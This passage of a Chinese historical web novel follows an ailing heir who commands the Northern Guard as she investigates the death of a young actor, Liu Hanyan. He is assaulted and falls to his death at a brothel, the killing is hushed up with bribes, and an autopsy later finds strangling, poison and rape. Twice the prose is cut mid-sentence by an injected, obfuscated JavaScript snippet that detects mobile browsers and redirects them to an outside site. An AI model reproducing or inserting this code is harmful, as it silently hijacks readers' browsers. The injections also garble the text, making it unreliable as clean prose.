“小姐,”丫鬟翠儿端来冰镇酸梅汤,“喝口汤解解暑吧,天热。” 陈显薇接过瓷碗,指尖触到冰凉的瓷壁,却感觉不到半分凉意。心乱了,什么也静不了。 “翠儿,”她轻声问,“你说……人这一生,是不是早就注定了?” 翠儿一怔:“小姐怎么问起这个?” “就像我,”陈显薇看着窗外,“生来就是庶女,便注定要低人一等,要谨小慎微,要……认命。” “小姐别这么说,”翠儿心疼道,“您还年轻,将来……总有出路的。” 出路? 陈显薇苦笑。什么出路?嫁个门当户对的庶子,继续在深宅大院里熬日子?还是像母亲周姨娘一样,做个不得宠的妾室,看人脸色过活? 那不是出路,是另一个火坑。 她忽然想起萧道煜。 那个人活得那么张扬,那么肆意,像一团燃烧的火,哪怕焚身,也要照亮这黑暗的世道。 她羡慕她。 羡慕她的勇气,羡慕她的决绝,羡慕她……敢做自己。 哪怕那个“自己”,是假的。 “小姐,”翠儿小心翼翼地说,“前儿夫人传话,说过些日子府里要办消夏宴,请各府公子小姐来。夫人让您……好生准备。” 消夏宴。 说白了,就是相亲宴。 陈显薇心中一紧。她知道,自己的婚事,该提上日程了。王夫人不会让她这个庶女嫁得太好,但也不会太差——总要顾全伯府的脸面。 可那个人……会是谁? 窗外忽然传来脚步声,是王夫人身边李嬷嬷的声音:“四小姐在吗?夫人请您过去一趟。” 陈显薇连忙整了整微汗的衣襟:“来了。” 她知道,该来的,总会来。 就像这酷暑,躲不过,逃不掉。 只能硬着头皮,走下去。 忠顺王府,缀锦轩。 西暖阁里门窗紧闭,四角摆着冰鉴,凉气丝丝,却驱不散满室浓重的药味。萧道煜半倚在榻上,身上只盖着一层薄绸单被,面色苍白如纸,唇色浅淡,唯独那双琥珀金色的眼睛,在昏黄烛光里亮得灼人。 斐兰度坐在榻前,三根手指搭在她腕上,闭着眼,眉头紧锁。 许久,他睁开眼,收回手。 “如何?”萧道煜开口,声音沙哑。 “比前几日好些。”斐兰度淡淡道,“但只是表象。阳关三叠的毒已侵入心脉,石瘕又大了些。” 他说得直白,毫无遮掩。 萧道煜却笑了,笑意苍凉:“斐先生说话,总是这么不中听。” “忠言逆耳。”斐兰度从药箱里取出针包,“今日行针,会有些疼,世子忍着些。” “疼?”萧道煜轻笑,“这世上,还有什么疼,比我这些年受的更甚?” 斐兰度手一顿,看了她一眼。那眼神复杂,有怜悯,有不解。 他不再说话,拈起银针,在她腕上、腹上、腿上几处穴位刺下。针细如牛毛,刺入皮肉时几乎无感,可很快,一股灼热的气流便在经脉里窜动,像烧红的铁钎在血管里搅。 萧道煜咬紧牙关,额上渗出细密的冷汗,却一声不吭。 萨林守在门外,听见里面压抑的喘息,握紧了刀柄。绿眸中满是担忧,还有……杀意。他恨自己无能,恨这世道不公,恨那些把世子逼到绝境的人。 可他什么也做不了。 只能守着,看着,忍着。 就像伊凡。 那日世子闯正院,伊凡跟着,脚步踉跄,面色惨白,显是伤口未愈。可脊背挺得笔直,一步不落。 他对自己真狠。 狠到让人心惊,也让人……同情。 针行完毕,斐兰度收针,擦了擦额上的汗:“今日就到这。药按时吃,忌劳心,忌动怒,忌……” “忌活着。”萧道煜打断他,唇角勾起讥诮的弧度。 斐兰度沉默片刻,缓缓道:“世子若真想死,何必受这些罪?” 萧道煜一怔。 “这世上想死的人多了,”斐兰度收拾药箱,声音平静,“可世子不是。若真想死,早该停了阳关三叠,任由身份暴露,一了百了。可世子没有。不仅没有,还拼命撑着,撑着这副残躯,撑着这个假身份,撑着……这烂透了的朝堂。” 他抬眼看向萧道煜:“为什么?” 为什么? 萧道煜闭上眼。 她也问过自己很多次。 为了父亲?那个把她当棋子的男人。为了母亲?那个把她推入火坑的女人。为了这身世子的身份?这个让她人不人鬼不鬼的枷锁。 都不是。 是为了……不甘。 不甘就这样认输,不甘就这样死去,不甘让那些算计她、利用她、践踏她的人得意。 她要活着。 活到亲眼看着他们倒下。 活到亲手……撕碎这吃人的世道。 她撑着坐起身,对门外道:“让伊凡进来。” 片刻后,伊凡推门而入。 他今日穿了身月白薄绸劲装,面色依然苍白,走路时脚步虚浮,可眼神却比往日更沉,更深,像一口古井,望不到底。 “世子。”他跪地行礼。 “起来。”萧道煜看着他,“伤如何了?” “已无碍。”伊凡起身,垂手肃立。 “无碍就好。”萧道煜从枕下取出一卷地图,摊开在榻上。那是一幅北疆边防图,标注着各处关隘、兵力部署,还有……一些用朱笔圈出的疑点。 “伊凡,你看这里。”她指着地图上某处,“雁门关往西三百里,有一处叫‘黑风峡’的地方,地势险要,易守难攻。可据北镇抚司密报,那里近半年常有商队出入,行踪诡秘,不像寻常商贾。” 伊凡俯身细看:“世子的意思是……” “我怀疑,那里是走私军械的通道。”萧道煜声音转冷,“匈奴近年屡犯边境,所用箭矢、刀剑,皆与我大雍制式相似。若没有内鬼接应,他们哪来的这些军械?” 她顿了顿,眼中闪过杀意:“查。从兵部开始查,到工部,到户部,到……所有可能伸手的人。一个都不放过。” “是。”伊凡应道,声音平静,却透着森森寒意。 “还有,”萧道煜看向他,“太后赐的那两个宫女,盯紧些。她们往宫里递了什么消息,见了什么人,说了什么话——我要知道得一清二楚。” “臣明白。” 萧道煜点点头,靠在引枕上,疲惫地闭上眼:“去吧。小心些,别让人察觉。” 伊凡躬身退下。 走到门口,他回头看了一眼。榻上的人面色惨白,气息微弱,像一盏随时会熄灭的灯。可就是这盏灯,撑起了北镇抚司的天,撑起了这风雨飘摇的朝局。 也撑起了他……活下去的意义。 伊凡握紧袖中的银锁,转身走进闷热的夜色。 脚步坚定,像赴死的信徒。 城南,大觉寺。 夜色已深,暑气稍退,寺中一片寂静。只有几盏长明灯在殿前摇曳,昏黄的光晕染开一片朦胧,照得青石板路泛着白日残留的余温。 杨明远站在药师殿前,仰头看着匾额上“慈航普渡”四个大字。字是前朝大家所题,笔力遒劲,可此刻看来,只觉得讽刺。 普渡? 这世间苦难太多,佛渡得过来吗? 他今日又来施粥,忙到亥时才歇。寺中僧人请他留宿,他婉拒了,只想一个人静静。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16996011|193874||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 白日里,祖父杨廷鹤的话又在耳边响起:“明远,你年纪不小了,该考虑终身大事了。张家三小姐,李家的嫡女,还有王尚书的外甥女……都是好人家,你挑一个,祖父去提亲。” 挑一个。 说得轻巧。 可他的心,早在十年前就给了别人。 给了一个永远不可能娶的人。 杨明远闭上眼,脑海中浮现盛晚湘的脸——不是现在倚红楼头牌的模样,是十年前,苏州盛家还未出事时,那个穿素衣、簪玉兰、笑眼弯弯的小姑娘。 那时他们定亲,她叫他“明远哥哥”,他叫她“晚湘妹妹”。她总爱跟在他身后,问这问那,声音软糯,像江南的春雨。 后来盛家出事,她被没入教坊司。他求祖父救她,祖父只是叹气:“明远,圣旨如山,谁敢违抗?” 是啊,圣旨如山。 可那圣旨,真的是对的吗? 盛文谦真是贪墨军饷的主谋吗?那一百二十万两银子,真的全是他一个人贪的吗? 杨明远不敢深想。 有些事,知道得越多,越痛苦。 “杨公子。” 一个轻柔的声音忽然响起。 杨明远浑身一僵,缓缓转身。 药师殿的阴影里,站着一个女子。一身素白薄绸襦裙,外罩藕荷色纱衫,发髻松松绾着,只簪一支白玉簪——正是盛晚湘。 她怎么会在这里? 杨明远怔怔地看着她,一时忘了言语。 盛晚湘走上前,在离他三步处停下。月光洒下来,照在她脸上,那张脸清丽绝俗,却苍白得没有血色,眼中满是疲惫与挣扎。 “晚湘,”他上前一步,想握住她的手,却在半途停住,“我……我对不起你。” “不关你的事。”盛晚湘摇头,“是命。杨公子,妾身从不怨你,也不怨任何人。只怨这世道,怨这……吃人的礼法。” 她抬起头,看着他,眼中泪光闪烁,却强忍着没掉下来:“杨公子,你要好好的。娶个好妻子,生几个孩子,平平安安过一辈子。妾身……会为你祈福。” 说完,她转身要走。 “晚湘!”杨明远终于抓住她的手腕。 那手腕纤细,冰凉,在他掌心微微发抖。 “别走……”他声音嘶哑,“我……我放不下。” 盛晚湘浑身一颤,眼泪终于滚下来。她转过身,看着他,眼中满是痛楚:“明远哥哥,放下吧。我们……回不去了。” 一声“明远哥哥”,隔了十年光阴,隔了生死茫茫。 杨明远再也忍不住,将她拥入怀中。 很轻的拥抱,像对待易碎的珍宝。 盛晚湘没有抗拒,只是伏在他肩上,无声地流泪。泪水浸透他微湿的衣襟,冰凉,却灼热。 许久,她才轻轻推开他,擦干眼泪,露出一个勉强的笑:“杨公子,保重。” 说完,她转身,快步消失在夜色里。 白衣身影在月光下渐行渐远,像一场醒不来的梦。 杨明远站在原地,握着那枚金缮的碎玉,看着她的背影,直到再也看不见。 夏夜的暖风吹过,卷起地上尘土,扑在他脸上,黏腻烦闷。 从此以后,再美的夜,再亮的月,也与他无关了。 心死了,看什么都是灰的。 子夜,北镇抚司值房。 门窗紧闭,闷热难当。伊凡坐在书案后,面前摊着一卷卷宗——是黑风峡走私案的初步调查结果。线索指向兵部一位郎中,再往上,似乎还牵扯到宫里的某位贵人。 他揉了揉眉心,眼中满是血丝。 伤口还在疼,一阵阵的,像有无数根针在扎。可比起心里的痛,这血肉的痛,反而让他清醒。 清醒地记得,自己已非“男子”。 清醒地记得,世子那句“信我”。 清醒地记得……那份永无可能的痴妄。 值房的门开了,萨林走进来,手里端着一碗药。 “伊佥事,该用药了。”他将药碗放在案上,声音平静。 伊凡抬头看他,这个异族侍卫绿眸深沉,看不出情绪。 “多谢。”他端起药碗,一饮而尽。药很苦,苦得他皱眉,却还是咽了下去。 萨林没有走,站在一旁,看着他。 “有话要说?”伊凡问。 萨林沉默片刻,缓缓道:“伊佥事,值得吗?” 伊凡手一顿。 又是这个问题。 斐兰度问过,世子问过,现在连萨林也问。 “值不值得,不是旁人能评判的。”伊凡放下药碗,声音平淡,“萨侍卫不也一样?明知世子命不久矣,还是死心塌地守着——值得吗?” 萨林绿眸一闪:“不一样。” “哪里不一样?” “我对世子,是忠诚。”萨林一字一顿,“是刀对主的忠诚,是鹰对主人的忠诚。而伊佥事你……” 他顿了顿,没有说下去。 可伊凡懂了。 萨林想说的是:你对世子,是痴妄,是私情,是不该有的执念。 是啊,是不该有。 可已经生了根,发了芽,长成了参天大树,砍不掉,拔不尽,只能任由它蔓延,直到将他彻底吞噬。 “萨侍卫,”伊凡忽然问,“若有一日,世子不在了,你当如何?” 萨林沉默良久,缓缓道:“世子在哪,萨林在哪。世子死,萨林绝不独活。” 说得斩钉截铁,像誓言。 伊凡笑了,笑意苍凉:“那我们……倒是一样。” 都是痴人。 都是疯子。 都是注定要焚身的飞蛾。 窗外传来打更声:“天干物燥,小心火烛——” 三更天了。 伊凡收起卷宗,起身,走到窗前。推开窗,闷热的风灌进来,吹散了满室药气,却吹不散心头窒闷。 远处,皇城的方向,一片漆黑。 只有零星几点灯火,像鬼火,在深夜里明明灭灭。 可他知道,那漆黑之下,是无数的算计,无数的阴谋,无数的……鲜血。 而这所有的一切,最终都会压在那个病骨支离的人身上。 压垮她,吞噬她,毁灭她。 不。 他绝不允许。 伊凡握紧拳,指甲深深陷进掌心。 伤口处传来剧痛,可他却感到一种奇异的快意——那是自残后的释然,是断情绝欲后的清醒,是……将一切献给那个人的决绝。 从今往后,他只是她的刀。 一把没有欲望,没有私心,只有忠诚与痴妄的刀。 直到死亡,将他们分开。 或者……永不分开。 窗外,月光照着干燥的庭院,白花花一片,像一场盛大的曝晒。 蒸发希望,蒸发幻梦,蒸发所有不该有的奢望。 只留下这窒息的闷热,这无边的夜,这……注定的悲剧。 永熙四年的盛夏,终究来得太早,也太烈。 11. 第 11 章 永熙四年的五月廿七,暑气最盛的一夜。 亥时已过,荷花巷却未眠。各家青楼妓馆依旧灯火通明,丝竹声、调笑声从敞开的雕花窗棂里飘出来,混着脂粉香、汗味,在闷热的夜风里氤氲成一片粘腻的浮华。檐下悬着的灯笼在热风中微微晃动,昏黄的光晕照着青石板路,蒸腾起白日积攒的暑气。 撷芳楼是这条街上新起的馆子,三层木楼飞檐翘角,朱漆廊柱上雕着缠枝莲花,门楣悬着“撷芳”二字匾额,据说是某位致仕翰林的手笔。此刻楼内正热闹,大堂里几个胡姬跳着旋舞,赤足踏在猩红毡毯上,金铃叮当作响,引得满堂喝彩。 三楼最东边的雅间,名叫“玉笙阁”。 这名字雅致,里头却正上演着一出不堪的戏。 房中四角摆着冰鉴,凉气丝丝,却驱不散满室浑浊的酒气。四个男子围坐一桌,酒已过了三巡。主位坐着卢弘义,宝蓝织金薄绸箭袖袍半敞着,露出里头月白中衣,胸口已被汗水洇湿一片。他怀里搂着个穿桃红轻纱衣的姑娘,手正不安分地在人腰间游走,眼神却瞟向对面—— 对面坐着张文瑾和陈显宗。 张文瑾是吏部侍郎张韬的嫡子,今年二十有三,生得白面微须,穿一身藕荷色暗纹薄绸直裰,手里转着酒杯,笑得温和,眼底却藏着三分精明。他今日做东,请卢弘义和陈显宗来“赏新”——撷芳楼新来了个唱昆腔的戏子,名叫柳含烟,据说生得极好,嗓子更是一绝。 陈显宗坐在最末,半旧的宝蓝薄绸直裰在满室锦绣里显得寒酸。他垂着眼,一杯接一杯地喝着冰镇的酒,面色潮红,额角渗着汗,显是已有了醉意。卢弘义方才又提了私盐的生意,说第一批货已到,要他三日内凑五千两本钱——五千两,他上哪去弄? 正烦闷间,门帘一挑,班主胡三娘领着个少年进来。 满室霎时一静。 那少年约莫十七八岁,穿着一身素白水袖薄绸戏服,外罩淡青纱衫,墨发用一根素银簪松松束在脑后。生得眉目如画,尤其一双眼睛,清澈得像秋日的湖水,眼尾微微上挑,带着三分天生的风致。只是面色苍白,唇色浅淡,像枝头被烈日晒蔫的白玉兰,美则美矣,却透着股子倦怠。 “三位爷,”胡三娘堆着笑,满脸脂粉被汗水晕开,“这就是含烟,咱们撷芳楼新来的台柱子。含烟,快给爷们请安。” 柳含烟拱手一揖,声音清泠泠的,带着江南水乡的温润:“小可含烟,见过三位公子。” 声如其人,干净得像山泉。 卢弘义眼睛亮了,推开怀里的姑娘,招手道:“过来,让爷瞧瞧。” 柳含烟迟疑片刻,缓步上前。离得近了,才看清他额角有块淡淡的瘀青,用脂粉勉强盖着,却还是透出些青紫。 卢弘义伸手就要摸他的脸,柳含烟侧身避开,低声道:“爷请自重。” “自重?”卢弘义笑了,笑声里满是轻佻,“进了这撷芳楼,还讲什么自重?胡班主,你这小相公,不太懂事啊。” 胡三娘连忙赔笑:“卢爷息怒,含烟刚来,还不懂规矩。含烟,快给卢爷敬酒!” 柳含烟抿了抿唇,接过酒杯,递到卢弘义面前。手微微发抖,冰凉的酒液在杯中晃荡。 卢弘义却不接,只盯着他:“喂爷喝。” 满室目光都落在他身上。张文瑾似笑非笑,陈显宗别过脸,胡三娘急得直使眼色。 柳含烟闭上眼,深吸一口闷热的空气,将酒杯送到唇边。可手抖得厉害,酒洒出来,泼在卢弘义微湿的衣襟上。 “啪!” 一记耳光。 卢弘义扬手打了他,力道不轻,柳含烟踉跄后退,撞在桌沿上,额角的瘀青更显了。 “给脸不要脸!”卢弘义站起身,扯住他汗湿的头发,“一个戏子,装什么清高?爷看得上你,是你的福分!” 柳含烟挣扎着,眼中泛起屈辱的泪光,却倔强地不肯落下:“放开我……” “放开?”卢弘义狞笑,手往下探,去扯他的衣襟,“爷今天就要尝尝,你这‘含烟’小相公,到底是个什么滋味!” 薄绸撕裂的声音。 素白戏服被扯开半边,露出里头月白中衣,和一片白皙的肩颈。柳含烟尖叫起来,拼命挣扎,指甲划过卢弘义的手背,留下三道血痕。 卢弘义吃痛,怒极,将他狠狠掼在地上。 柳含烟头撞在桌脚,发出一声闷响。他趴在地上,墨发散乱,戏服凌乱,肩颈裸露在烛光里,那块瘀青在雪白的肌肤上触目惊心。 他抬起头,看着满室的人。卢弘义的狰狞,张文瑾的冷漠,陈显宗的回避,胡三娘的焦急——没有一个人帮他。 一个都没有。 就像十年前,盛家被抄那日,他躲在母亲身后,看着那些衙役将家中男丁一个个戴上枷锁。没有人帮他们,没有人说话,只有冷漠的目光,像烧红的烙铁,将他灼伤。 十年了。 他像一片飘萍,在污浊的世道里浮沉,从未有过一日安宁。 本以为唱戏能有一方清净,可这世道,哪有什么清净? 只有践踏,和被践踏。 玉笙阁的窗开着一半,夜风灌进来,带着些许凉意,却吹不散满室粘腻。窗外是黑沉沉的夜,楼下是荷花巷的石板路,此时已没什么行人,只有几盏孤零零的灯笼在热风里摇晃。 素白薄绸衣裙在夜风里翻飞,像一只折翼的白鹤。 轻飘飘地,坠入无边的黑暗。 “啊——!”楼下传来女子的尖叫。 接着是重物坠地的闷响,像一块玉,摔碎在青石板上。 玉笙阁里,死一般寂静。 只有夜风呜呜地吹,吹得烛火跳动,在每个人汗湿的脸上投下摇曳的阴影。 卢弘义还保持着伸手的姿势,僵在原地。 楼下已乱成一团。脚步声、惊呼声、哭喊声混成一片,像煮沸的水,将这闷热的夜的宁静彻底打破。 窗外的黑暗,吞没了一个鲜活的生命。 也吞没了,某些人最后一点人形。 寅时初,顺天府的人到了。 带队的是快班班头赵四,四十出头,生得五大三粗,满脸横肉,一双三角眼透着精明。他带着几个衙役闯进撷芳楼时,胡三娘已候在门口,脸色惨白,手里紧紧攥着个锦囊。 “赵爷,”她迎上去,声音发颤,“您可来了……” 赵四没理她,径自走到院中。柳含烟的尸体还躺在青石板上,素白薄绸戏服被血浸透,在灯笼光里暗红一片。脸朝下,看不清面容,只有一头乌发散开,像泼墨。 他蹲下身,翻了翻尸体,又抬头看了看三楼那扇开着的窗。 “怎么回事?”他站起身,拍了拍手上的灰。 胡三娘连忙将人引到一旁暖阁,屏退左右,这才“扑通”跪下,双手奉上锦囊:“赵爷,这是点心意,您收着……” 赵四接过,掂了掂,沉甸甸的,怕是有百两。他脸色缓和了些,揣进怀里:“说吧,怎么死的?” “失足……失足坠楼。”胡三娘急声道,“含烟那孩子,今晚多喝了几杯,醉了,开窗透气,不小心……就掉下去了。” “醉了?”赵四挑眉,“可我听说,今晚玉笙阁里,还有三位爷?” 胡三娘脸色一变,压低声音:“是卢公子、张公子和陈公子……赵爷,您也知道,这三位都是贵人,得罪不起。这事儿……能不能就按失足结了?该打点的,妾身绝不含糊。” 赵四摸着下巴,沉吟不语。 卢弘义,盐商卢家的嫡子。张文瑾,吏部侍郎的公子。陈显宗,永安伯府的庶子——虽说是个庶子,可到底是伯府的人。 这三人,哪个都不是他一个小小的班头能惹的。 可一条人命,就这么压下去…… “赵爷,”胡三娘又掏出个锦囊,这次是赤金的,上头还镶着颗猫眼石,“这是卢公子让转交的。卢公子说了,只要这事儿办妥了,往后顺天府的弟兄们去卢家票号兑银子,一律免收兑费。” 赵四眼睛亮了。 卢家的票号遍布南北,兑银子的手续费可不低。若真能免了,弟兄们一年能省下不少银子。 他接过金锦囊,在手里掂了掂,心中已有了计较。 “既然胡班主说是失足,那就是失足。”他淡淡道,“不过,那三位公子……” “都已从后门送走了。”胡三娘忙道,“今晚的事儿,绝不会有第四个人知道。” 赵四点点头:“那就这样吧。等天亮了,我让仵作来验尸,走个过场,就按失足报上去。你这边,该封口的封口,该打发的打发,别留后患。” “是是是,多谢赵爷!”胡三娘连声道谢,又从袖中摸出几张银票塞过去,“这点小意思,给弟兄们吃酒。” 赵四坦然收了,转身走出暖阁。 院中,几个衙役正围着尸体。赵四摆摆手:“都散了,等仵作来。记住,今晚的事儿,谁问都是失足坠楼。敢乱说一个字……”他冷哼一声,没说完,可那意思,谁都懂。 衙役们噤若寒蝉。 赵四走到尸体旁,又看了一眼。素白薄绸戏服已被血浸透,在晨光微熹里泛着暗红的光。他忽然想起很多年前,自己刚进顺天府时,也曾想过当个清正的好官,为民请命。 可这世道,清正能当饭吃? 看看那些高高在上的贵人,哪个不是满手鲜血?可人家活得滋润,活得风光。而他,一个小小的班头,若不靠着这些“孝敬”,连家都养不活。 他蹲下身,伸手,合上了尸体的眼。 触手冰凉,像玉。 “小兄弟,”他低声说,声音只有自己能听见,“别怪我。要怪,就怪你命不好,生在这吃人的世道。” 说完,他站起身,拍了拍衣摆上的灰,对衙役们道:“守好了,等仵作来。” 然后,他转身,走进撷芳楼大堂。 胡三娘已备好酒菜,暖阁里冰鉴散着凉气,几个姑娘陪着,娇声软语,很快就将这闷热的夜的阴森冲散了。 赵四坐在主位,左拥右抱,喝着冰镇的酒,听着曲,仿佛方才院中那具尸体,不过是场噩梦。 可他知道,那不是梦。 是真真切切的一条人命。 被他,用一百两银子,一颗猫眼石,和几句谎言,埋了。 窗外,天色渐亮。 晨光刺破云层,白花花地照着干燥的庭院。 像一场盛大的曝晒,却无人哀悼。 辰时三刻,北镇抚司值房。 门窗紧闭,屋里摆着冰鉴。萧道煜坐在书案后,手里握着一卷密报,眉头紧锁。密报是从扬州来的,说盐运使沈济川最近动作频频,似在转移财产,准备外逃。 她放下密报,揉了揉眉心。腹中的疼痛又开始了,像有只手在里头绞。她咬紧牙关,强忍着,从药瓶里倒出两粒药丸,和水吞下。 药是斐兰度 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16996012|193874||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 新配的,比“阳关三叠”温和些,可也只能缓解,不能根治。 就像这朝堂的病,表面看着光鲜,内里早已烂透。 “世子。”萨林的声音在门外响起。 “进来。” 萨林推门而入,手里拿着一份卷宗:“顺天府刚送来的命案简报,说是撷芳楼一个戏子失足坠楼,已结案了。” “戏子?”萧道煜抬眸,“什么名字?” “柳含烟,十七岁,苏州人,教坊司乐籍,半月前才到撷芳楼唱戏。” 萧道煜心中一动。这名字……有些耳熟。 她接过卷宗,快速浏览。简报写得很简略,只说昨夜子时三刻,撷芳楼戏子柳含烟因醉酒失足,从三楼玉笙阁坠楼身亡。现场无打斗痕迹,无目击证人,已按意外结案。 可越是简略,越透着古怪。 “萨林,”她放下卷宗,“去查查这个柳含烟。教坊司的乐籍,怎么到的撷芳楼?昨夜玉笙阁里,都有谁?” “是。”萨林应声退下。 萧道煜靠在椅背上,闭上眼。脑海中浮现许多碎片——柳含烟,苏州人,教坊司乐籍,十七岁……十年前,苏州盛家出事,盛家有个表少爷,那年七岁。 会是他吗? 若真是,那这“失足坠楼”,恐怕就没那么简单了。 盛家那案子,牵扯的是江南军饷亏空。一百二十万两银子,追回八万两,余下的不翼而飞。主谋盛文谦被斩,可真正吞了银子的人,还逍遥法外。 若柳含烟真是盛家表少爷,那他的死,会不会和旧案有关? 萧道煜睁开眼,眼中金光流动。 这京城,又要起风了。 门外传来脚步声,伊凡走了进来。他今日穿了身月白薄绸劲装,面色依然苍白,可眼神却比往日更沉,像古井深潭。 “世子,”他躬身行礼,“撷芳楼的事,查到了。” “说。” “昨夜玉笙阁里,有三个人。”伊凡道。 三个名字,像三块石头,投入萧道煜心湖,激起层层涟漪。 卢弘义——盐商。 张文瑾——吏部。 陈显宗——伯府。 这三人凑在一起,绝不会是简单的喝酒听曲。 “还有,”伊凡继续道,“柳含烟的真实身份查到了。他本名盛如诚,是十年前被抄家的苏州转运使盛文谦的外甥。盛家出事那年,他七岁,被卖入戏班,一直在苏州。半月前才被人赎出,送到京城撷芳楼。” 果然。 萧道煜握紧了拳。 盛家的案子,果然还没完。 “谁赎的他?”她问。 “不知道。”伊凡摇头,“教坊司的记录被人动了手脚,只写‘贵人赎买’,未留姓名。” 萧道煜站起身,走到窗前。推开窗,闷热的风灌进来,吹散了冰鉴带来的些许凉意。窗外天色阴沉,白花花的日光灼着干燥的庭院,整个京城像一幅被晒褪了色的画。 “伊凡,”她转身,眼中闪过冷光,“你觉得,柳含烟真是失足坠楼吗?” 伊凡沉默片刻,低声道:“臣不信。” 他顿了顿,一字一顿:“这世上,没有这么巧的事。” 萧道煜笑了,笑意冰冷:“是啊,太巧了。巧得像……杀人灭口。” 她走回书案前,拿起那份简报,盯着上面“失足”二字,眼中杀意骤现。 “顺天府那边,是谁结的案?” “快班班头赵四。”伊凡道,“今早寅时到的现场,辰时就结了案,报了上来。据撷芳楼的人说,赵班头在暖阁里待了半个时辰,出来时,怀里鼓囊囊的。” “受贿?”萧道煜挑眉。 “八九不离十。”伊凡点头,“卢家有的是银子,买通一个班头,易如反掌。” 萧道煜将简报扔在案上,冷笑:“好一个‘失足’,好一个‘结案’。一条人命,就这么轻飘飘地埋了。” 她顿了顿,眼中金光更盛:“伊凡,去把赵四‘请’来。还有,撷芳楼的胡班主,也一并‘请’来。我要亲自问问,这‘失足’,到底是怎么个失法。” “是。”伊凡应声,却又迟疑,“世子,若是牵扯到卢家、张家,还有伯府……” “那又如何?”萧道煜打断他,语气森冷,“这北镇抚司,怕过谁?去办。” “是!”伊凡不再多言,转身退下。 值房里,又只剩萧道煜一人。 她走到窗前,推开窗。闷热的风灌进来,吹得她一阵咳嗽。她用手捂住嘴,咳得撕心裂肺,指缝间渗出暗红的血丝。 可那双眼睛,却亮得灼人。 像淬了火的刀,要将这污浊的世道,一寸寸剖开。 一个戏子,罪臣之后。 他的死,或许微不足道。 可这微不足道的死,或许能撬开某些尘封的旧案,揭开某些人的遮羞布。 就像一颗石子,投入死水,激起的涟漪,会波及整个池塘。 萧道煜擦去嘴角的血迹,看着窗外被热浪扭曲的天空。 她知道,一场风暴,就要来了。 而她,就是那个掀风起浪的人。 哪怕粉身碎骨,也要让这吃人的世道,付出代价。 窗外,烈日灼灼。 白花花的光,像无数把刀,切割着这闷热的京城,也为那个死去的少年,为这即将到来的腥风血雨,镀上一层刺目的亮。 12. 第 12 章 五月的最后一日,闷得最沉。 北镇抚司后院的停尸房,是座独栋的石砌小屋,无窗,只在顶上开两个小小的气孔。屋里终年不见天日,阴冷潮湿,寒气从青石板缝里渗出来,在这闷热季节里竟成了难得的凉意。墙角堆着几袋生石灰,泛着惨白的光,混着尸臭和药水味,在闷热的空气里蒸腾着令人作呕的气息。 此刻,屋里点了六盏油灯,昏黄的光勉强照亮中央那张榆木停尸台。 台上躺着一具尸体,盖着白布。白布下隐隐显出人形轮廓,纤瘦,单薄,像一片凋零的羽。 斐兰度站在台前,已换上一身靛青短打,外罩素白罩袍,袖口用细麻绳紧紧束起。他面上蒙着白绢,只露出一双冷峻的眼睛,此刻正低头整理验尸用具——银刀、银钩、银针,一字排开,在灯下泛着森森寒光。 萨林守在门外,按刀肃立。伊凡站在门内阴影处,面色苍白,手里捧着验尸格目册,准备记录。 门开了,萧道煜走进来。 她今日穿了身玄色薄绸官袍,外罩石青纱披风,面上也蒙了白绢,只露出一双琥珀金色的眼睛。屋里潮湿阴冷,与外头闷热形成鲜明对比,她进来时微微打了个寒颤,萨林立刻递上个手炉,她却摆摆手,径自走到停尸台前。 “开始吧。”她声音平静,听不出情绪。 斐兰度点头,掀开白布。 柳含烟的尸身露了出来。 素白戏服已被血浸透,暗红一片,硬邦邦地贴在身上。墨发散乱,遮住了半边脸。露出的那半边脸,苍白如纸,唇色青紫,额角那块瘀青在死白的皮肤上格外刺目。 斐兰度俯身,仔细检查头部。他拨开头发,露出后脑一处凹陷——那是坠楼时撞击所致,颅骨碎裂,脑浆已从耳鼻溢出少许,结成暗黄的痂。 “致命伤在头部,”他开口,声音透过白绢有些发闷,“高处坠落,后枕骨碎裂,颅内出血,当场毙命。” 萧道煜没说话,只盯着尸体。 斐兰度继续检查脖颈。他拨开衣领,露出颈项——那里有几道暗紫色的指痕,新旧交错,明显是被人扼过。 “死前曾被扼颈。”他指着指痕,“看淤血程度,力度不轻,时间不短。但不足以致命,只是让他暂时窒息。” 他顿了顿,翻开尸体的眼皮。眼结膜上有细小的出血点,瞳孔散大,这是窒息的典型特征。 接着,他检查口腔。用银镊撬开牙关,一股淡淡的苦杏仁味飘出来。他皱了皱眉,取出一根银针,探入喉部深处,片刻后取出,针尖已变黑。 “喉中有毒。”他声音冷下来,“苦杏仁味,应是杏乌散。量不大,不足以致死,但会让人四肢麻痹,失去反抗能力。” 萧道煜眼中金光一闪。 扼颈,灌毒,坠楼。 这是谋杀。 赤裸裸的谋杀。 斐兰度继续检查尸体四肢。手臂、大腿有几处擦伤,是坠楼时撞击地面所致。但手腕处有两圈深紫色的勒痕,像是被绳子捆过。 “死前曾被束缚。”他指着勒痕,“看淤血,捆得时间不短,至少半个时辰。” 半个时辰。 足够做很多事。 足够逼问,足够凌辱,足够……杀人灭口。 斐兰度最后检查下身。他掀开衣摆,萨林和伊凡都别过脸去。只有萧道煜,依然盯着,眼睛一眨不眨。 “有撕裂伤,”斐兰度声音更冷,“生前曾遭性侵。伤口有新有旧,显是长期受辱。” 长期受辱。 四个字,像四把刀,狠狠扎在在场每个人心上。 